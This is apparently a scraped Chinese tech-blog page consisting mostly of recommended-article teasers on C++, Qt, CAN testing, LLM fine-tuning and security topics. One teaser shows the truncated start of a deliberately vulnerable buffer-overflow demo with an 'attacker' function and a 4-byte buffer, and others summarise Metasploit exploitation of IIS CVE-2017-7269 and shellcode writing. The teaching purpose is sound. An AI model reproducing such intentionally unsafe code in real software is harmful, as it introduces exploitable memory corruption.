跨平台开发是现代软件工程中的核心挑战之一,旨在实现一套代码在多种操作系统和硬件架构上稳定运行。其基本原理在于通过抽象层隔离平台相关细节,使核心业务逻辑保持平台无关性。这一技术价值在于能大幅提升代码复用率、降低维护成本,并加速产品在多终端(如Windows、Linux、macOS、移动端)的部署。在实际应用场景中,C++因其高性能和底层控制能力,常被用于游戏引擎、嵌入式系统、高性能服务器等需要跨平台支持的领域。本文以CMake构建系统和平台抽象层设计为例,深入探讨了如何系统化地处理文件路径、线程同步、动态库加

weixin_33721427的博客 293

通用CAN总线测试软件LCANTest:跨平台调试与自动化测试实战

CAN总线作为汽车电子、工业控制等领域的关键通信协议,其核心原理是基于差分信号和仲裁机制的可靠实时数据交换。这一技术为分布式控制系统提供了高效、抗干扰的通信基础,其价值在于支撑了现代设备内部复杂节点的协同工作。在实际工程中,开发人员常面临多硬件适配、跨平台兼容性以及高效测试等挑战。通用CAN测试工具通过统一硬件抽象层和应用功能,解决了工具链割裂的痛点,显著提升了开发调试效率。应用场景涵盖从基础的报文收发、过滤分析,到总线负载压力测试、UDS/OBD-II诊断协议解码,乃至集成Python脚本的自动化测试平台

weixin_30299709的博客 403

一个简单的溢出程序解析

下面是一段包含缓冲区溢出的代码: #include using namespace std; void attacker() { cout<<"Attacker is running."<<endl; exit(0); } void leak_func(char *str) { char local[4]; int i;

caterpillarous的博客 2392

C语言数据类型大小详解:跨平台编程避坑指南与内存对齐实战

在计算机编程中,数据类型是构建程序的基础,它定义了数据的存储格式、取值范围和可执行的操作。其大小由语言标准、编译器实现和目标硬件平台共同决定,这种设计旨在平衡执行效率与硬件适配性。理解数据类型大小的原理,对于编写高性能、可移植的代码具有关键的技术价值,尤其是在系统编程、嵌入式开发和跨平台应用等场景中。本文聚焦于C语言这一系统级编程语言,深入剖析其数据类型大小不确定性的根源,对比LP64与LLP64等不同数据模型的差异,并详解内存对齐原则对结构体等复合类型的影响。通过结合sizeof运算符、stdint.h标

370

关于缓冲区溢出攻击原理的简单例子(C语言编写)

一、什么是缓冲区溢出? 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,使得溢出的数据覆盖在合法数据上,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。   二、程序的简单说明 执行过程: void fun()函数中buf只分配了8字节的空间,通过写超出其长度的字符串ss,并传入vo

u012043391的专栏 1万+

QT/QML-项目总结杂项

本文总结了Qt开发中的实用技巧和疑难问题解决方案。主要内容包括:1) 窗口定位与圆角实现方法;2) 进程管理技巧;3) 线程同步处理;4) 跨平台路径处理注意事项;5) 磁盘根目录获取方法;6) QML开发中的BorderImage使用;7) OpenGL配置技巧;8) QML对象注册问题;9) CMake基础配置。这些经验总结涵盖了界面开发、多线程、跨平台兼容性等多个方面,为Qt开发者提供了实用的技术参考,可帮助快速解决常见开发问题

抵抗时间扭曲,坚持做一件有意义的事 377

react-window 大数据列表和表格数据渲染组件之虚拟滚动

ReactWindow是一个高性能的React虚拟滚动组件库,专门用于高效渲染大型列表和表格数据。它通过“窗口化”技术,仅渲染用户可见区域的内容,大幅提升性能并减少内存消耗。主要特点包括:支持固定/可变大小列表项、多种布局类型(垂直/水平/网格)、轻量级设计(不足5KB)以及平滑的滚动体验。相比传统渲染方式,它能轻松处理成千上万条数据,并提供自动滚动、自适应容器大小等高级功能。与同类库相比,ReactWindow具有更简洁的API和更优的性能表现,是处理大数据量渲染场景的理想选择。

前端开发-前端技术分享 1137

【C语言】《C 文件操作从入门到精通:标准流、FILE*、fseek 与缓冲区机制》

从程序设计的角度,文件分为程序文件和数据文件函数名功能适用于fgetc字符输入函数所有输入流fputc字符输出函数所有输出流fgets文本行输入函数所有输入流fputs文本行输出函数所有输出流fscanf格式化输入函数所有输入流fprintf格式化输出函数所有输出流fread二进制输入文件输入流fwrite二进制输出文件输出流上⾯说的适⽤于所有输⼊流⼀般指适⽤于标准输⼊流和其他输⼊流(如⽂件输⼊流);

2501_93351213的博客 874

机器学习——Anaconda下载安装教程

Anaconda详细下载安装教程

2401_83693485的博客 3070

Unity跨平台原生插件开发:P/Invoke调用DLL实战指南

在游戏开发与高性能计算领域,动态链接库(DLL)作为连接托管代码与原生代码的桥梁,是实现性能突破与系统集成的关键技术。其核心原理是通过平台调用(P/Invoke)机制,在C#等托管环境与C/C++等原生代码之间建立安全、高效的数据与指令交换通道。这一技术的核心价值在于能够直接复用成熟的底层算法库、突破托管代码的性能瓶颈,并访问操作系统或硬件的特定功能。在Unity引擎的实际应用中,开发者常借助P/Invoke集成原生DLL来处理复杂的物理模拟、实时图像处理等计算密集型任务,以显著提升运行效率。然而,跨平台部

weixin_30764883的博客 322

运放+三极管恒流源电路设计实战:从原理到仿真一步到位(附Multisim文件)

本文详细解析了运放与三极管构建恒流源电路的核心原理,重点阐述了负反馈机制如何实现精准的电流控制。通过Multisim仿真实战,从电路搭建、参数计算到负载调整率与动态响应分析,一步步指导设计过程,并提供常见故障的调试技巧与PCB设计要点,帮助工程师从理论平稳过渡到可靠实践。

7z8x2c4v6b9的博客 711

解决usbisp不识别无法烧录Atmega328P,Arduino不识别问题

如果使用Arduino IDE里面的烧录,可能会遇到一个问题,就是不识别国产这种廉价的USBISP 点击烧录引导程序,会遭遇到找不到USB设备的问题,选哪个都会提示找不到,比如选择USBasp could not find USB device with vid=0x16c0 pid=0x5dc vendor='www.fischl.de' product='USBasp' 因此,我们需要使用到progisp这一个软件的1.72版本 选择好芯片的型号后,调用编译好的HEX文...

arenascat的博客 7441

从零开始安装与使用pwntools:二进制安全与漏洞利用的Python利器

在二进制安全与漏洞利用领域,Python作为一种高效灵活的脚本语言,常被用于自动化安全测试与漏洞利用脚本的编写。其核心原理在于通过封装底层系统调用与网络通信,为安全研究人员提供了一套简洁的API接口,极大地提升了漏洞分析与利用的开发效率。这一技术价值在CTF竞赛、软件安全评估及漏洞研究中尤为突出,能够帮助开发者快速构建交互式攻击载荷、解析二进制文件信息以及自动化定位漏洞偏移。pwntools正是这一理念下的杰出实践,它是一个专为漏洞利用和二进制分析设计的Python框架,将繁琐的进程交互、数据打包和地址计算

weixin_34357436的博客 387

Ubuntu上安装Claude Code CLI:从环境配置到排错全攻略

在Linux开发环境中,命令行工具的安装与配置是开发者绕不开的基础技能。无论是AI编程助手还是其他CLI工具,其运行都依赖于正确的运行时环境和包管理机制。以Node.js生态为例,版本管理器nvm解决了多版本切换的痛点,npm则负责全局包的安装与依赖解析。理解PATH环境变量的执行逻辑、全局bin目录的作用以及权限控制,是排查“命令找不到”或“EACCES”错误的关键。这些基础知识应用广泛,从本地开发到服务器部署都至关重要。本文以Ubuntu系统上安装Anthropic的Claude Code CLI为例,

weixin_28842367的博客 273

计算机数据存储单位:从Bit到Byte的底层原理与工程避坑指南

在计算机科学中,数据存储单位是构建一切数字信息的基础。Bit作为信息世界的原子,代表最基本的二态性,而Byte作为面向字符的自然单元,构成了文本处理和内存寻址的基石。理解二进制与十进制的区别,掌握KB、MB、GB等单位的换算原理,对于系统设计、性能优化和故障排查具有关键的技术价值。在实际应用场景中,内存分配、文件存储、网络传输和字符编码等领域都深度依赖这些基础概念。例如,内存溢出(OOM)错误常源于对MB与MiB的混淆,而字符解码失败则与字节编码规则密切相关。本文聚焦于数据存储单位的核心体系,通过解析常见陷

weixin_34130389的博客 450

【Qwen2微调实战】LLaMA-Factory框架对Qwen2-7B模型的微调实践

在人工智能的浪潮中,大型语言模型(LLMs)正逐渐成为研究和应用的热点。它们在自然语言处理(NLP)的各个领域,如文本生成、翻译、问答等任务中展现出了卓越的能力。Qwen2-7B模型,作为该领域的佼佼者,不仅因其庞大的参数量和强大的表示能力受到关注,更因其在微调后能够更好地适应特定任务而备受关注。本文将详细介绍如何利用LLaMA-Factory这一高效的微调框架对Qwen2-7B进行微调,以期达到提升模型在特定任务上的表现。

寻道AI,探索AI无限可能! 2万+

MTK平台WiFi学习--Wi-Fi 连线/断线问题初步分析

摘要:本文详细介绍了MTK平台WiFi连接问题的日志分析方法。文章首先阐述了WiFi连接的标准流程,包括指令接收、BSSID选择、信道分配、认证关联、四次握手和DHCP获取等关键步骤。针对常见故障场景,如选网失败、信道申请失败、认证关联失败、四次握手失败等,提供了具体的日志分析方法和排查思路,包括识别关键日志、分析状态码、结合固件日志和抓包数据等。文章还特别强调了不同故障场景下需要收集的日志类型和分析要点,为WiFi连接问题的定位提供了一套系统化的解决方案。

专业开发者的博客,一个从事Android WiFi和蓝牙的工程师 1594

Metasploit实战利用CVE-2017-7269漏洞攻陷IIS 6.0服务器

缓冲区溢出是软件安全领域一种经典的内存破坏漏洞,其原理是程序向固定长度的缓冲区写入超出其容量的数据,导致相邻内存区域被覆盖,从而可能被攻击者利用来劫持程序执行流程,执行任意代码。这种漏洞技术价值极高,常被用于远程代码执行和权限获取,在Web服务器、网络服务等应用场景中危害巨大。本文聚焦于一个典型的缓冲区溢出实例——CVE-2017-7269,该漏洞存在于已停止支持的微软IIS 6.0服务器的WebDAV组件中。通过结合【Metasploit】这一自动化渗透测试框架和【渗透测试】的实战流程,我们将深入剖析如何

weixin_34099526的博客 369

Eclipse邂逅Deepseek:本地化部署全攻略

通过前面一系列的步骤,我们成功地在 Eclipse 中完成了 Deepseek 的本地化部署,并且对部署后的功能进行了测试和优化,还解决了可能遇到的一些常见问题。这一过程不仅让我们体验到了将强大的大语言模型与高效的开发环境相结合的魅力,也为我们在软件开发过程中带来了诸多便利。本地化部署 Deepseek 到 Eclipse,使得我们在代码编写过程中能够获得智能的代码补全和精准的问答支持,大大提高了开发效率。同时,本地化部署保障了数据的安全性和隐私性,避免了数据在传输过程中可能面临的风险。

远程部署调试 运行安装 项目调试 二次开发 项目技术新 持续迭代 部分源码免费分享 4524

Linux近两年高危漏洞修复过程记录

另外,对于一个大规模的补丁安装,还可以使用脚本的方式,将所有的补丁文件集中到脚本中,这样可以实现大规模的补丁安装。修复措施:目前该漏洞已经修复,https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?下载地址:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/refs/,打补丁fs/overlayfs/copy_up.c。

企业实战系列集 ●●● https://ximenjianxue.blog.youkuaiyun.com 3905

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

dynasm-rs实战:从零构建x64与AArch64平台的高性能动态代码生成器

🚀 **dynasm-rs** 是一个功能强大的Rust动态汇编器,专为运行时代码生成而设计。这个创新的工具让开发者能够在程序运行时动态生成机器代码,为JIT编译器、模拟器和性能关键型应用提供了强大的支持。无论你是想要构建高性能的脚本引擎,还是需要实现动态优化的计算框架,dynasm-rs都能为你提供简单高效的解决方案。 ## 📋 为什么选择dynasm-rs? ### 核心优势一览 |

gitblog_00184的博客 499

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

堆与栈内存管理详解:从核心区别到实战问题排查

在计算机程序运行时,内存管理是核心基础,其中堆和栈是两种关键的内存分配区域。栈内存由系统自动管理,遵循后进先出原则,用于存储局部变量和函数调用信息,其分配与回收速度极快,但空间有限。堆内存则允许程序员动态申请和释放,用于存储生命周期更长或大小可变的数据对象,虽然空间更大,但管理复杂,容易产生内存碎片。理解堆栈的区别对于编写高效、稳定的程序至关重要,尤其在排查内存溢出和内存泄漏等常见问题时。本文将通过内存布局图和代码示例,深入解析堆栈的核心机制,并针对堆栈溢出、内存泄漏等实战场景,提供具体的诊断思路与解决方案

weixin_30387799的博客 458

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

上一篇: 【原理】UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.
下一篇: 在win平台发原始数据包实例(源程序) & 脱离AppWizard和ClassWizard使用MFC
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值